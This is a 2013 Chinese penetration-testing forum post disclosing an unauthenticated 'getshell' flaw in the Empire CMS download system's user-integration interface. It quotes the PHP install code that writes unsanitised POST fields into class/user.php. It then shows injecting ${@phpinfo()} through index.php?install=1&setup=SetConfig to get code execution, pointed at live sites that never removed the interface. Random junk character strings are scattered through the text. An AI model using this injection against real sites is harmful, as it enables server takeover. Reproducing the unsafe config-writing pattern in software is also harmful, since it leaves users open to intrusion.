中国网络渗透测试联盟

标题: 帝国万能接口漏洞0day [打印本页]

---

作者: admin    时间: 2013-1-23 09:34
标题: 帝国万能接口漏洞0day
这是帝国的一套下载系统如图 ps(不需要任何账户和密码，直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口，如图 而这个接口很多人又不会删除，由此他带来了很大的安全隐患，导致直接getshell，下面分析代码 当我们
4 c$ I1 z, I$ k2 x* ]2 }( d" E7 B
, C4 u$ f0 L. D/ O$ I! c

这是帝国的一套下载系统 如图
! U. \, L+ t- D9 }2 sps(不需要任何账户和密码，直接写shell)

. ?, Z: D6 M' e3 n

由于很多站是由于下载要整合discuz 等等一些论坛....

6 M! M6 k+ i3 s+ @

而帝国他又有一个万能接口，如图

0 O5 f5 W, E& ?$ W) A$ {[attach]170[/attach]

而这个接口很多人又不会删除，由此他带来了很大的安全隐患，导致直接getshell，下面分析代码

当我们提交的时候，他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)

2. {

3. @include("../class/connect.php");

4. @include("../class/db_sql.php");

5. @include("../class/functions.php");

6. $link=db_connect();

7. $empire=new mysqlquery();

8. if($setup=="SetConfig")

9. {

10. SetUserCOMConfig($_POST);

11. }

12. elseif($setup=="alter")

13. {

14. InstallUserCOM();

15. }

16. elseif($setup=="update")

17. {

18. UpdateUserCOM();

19. }

20. else

21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了，我们继续跟踪
: P+ ~/ G  _; P8 M( e
( d/ v5 |, q" m- s0 D- v/ d在data/fun.php中的15行
9 b) \0 Q9 E6 |, O! ^! A
我们可以看到这个函数

1. function SetUserCOMConfig($add){

2. $filetext=ReadFiletext('data/user.php');

3. if(empty($filetext))

4. {

5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');

6. }

7. $vr=explode(",",ReturnRepUserVar());

8. $count=count($vr);

9. for($i=0;$i<$count;$i++)

10. {

11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);

12. }

13. //写入配置文件

14. $fp=@fopen("../class/user.php","w");

15. if(!$fp)

16. {

17. InstallShowMsg(' /class/user.php 文件权限没有设为0777，安装不成功.');

18. }

19. @fputs($fp,$filetext);

20. @fclose($fp);

复制代码

.....//省略若干
& T* d; i$ J. M( q
1 X9 ^/ Y4 {3 P( I这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
" h* p5 h: T5 P
他将传进来的变量进行了切割，然后赋给了$filetext

# H, W. e! _5 }0 l5 E2 R- s然后看下面

1. //写入配置文件

2. $fp=@fopen("../class/user.php","w");

3. if(!$fp)

4. {

5. InstallShowMsg(' /class/user.php 文件权限没有设为0777，安装不成功.');

6. }

7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件，然后将$filetext写入了
3 S' A+ l6 X. A1 M2 M4 x4 Z
我们看看写入的结果，随便填一个

9 N' i- E6 w- W1 I' a9 ~8 t  F[attach]171[/attach]
$ a2 D6 A# x8 Y& U/ f  y4 l: F
& B1 [( e2 ]+ t6 v" {- I
3 z" t" \) i8 m* E! c[attach]172[/attach]
4 n" b0 N9 T, ]: B. a
# [, d- k6 R  A) B- y" v( N& P
: v8 J* I" z0 k0 P% u
8 _' n6 R1 n3 [6 h! B0 U% |

* @* I" E# e8 p9 U( M
# E4 t( ?) ?) {' C8 v

  x7 U$ @. J) g) @, ?+ t
[attach]173[/attach]




) R9 I. l, W- S: z
[attach]174[/attach]

所以我们淫荡点，写个${@phpinfo()}试试

然后访问以下class/user.php这个文件
日了吧

9 ]1 E; g0 P# O6 O

! v' G5 r5 v0 w& q

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2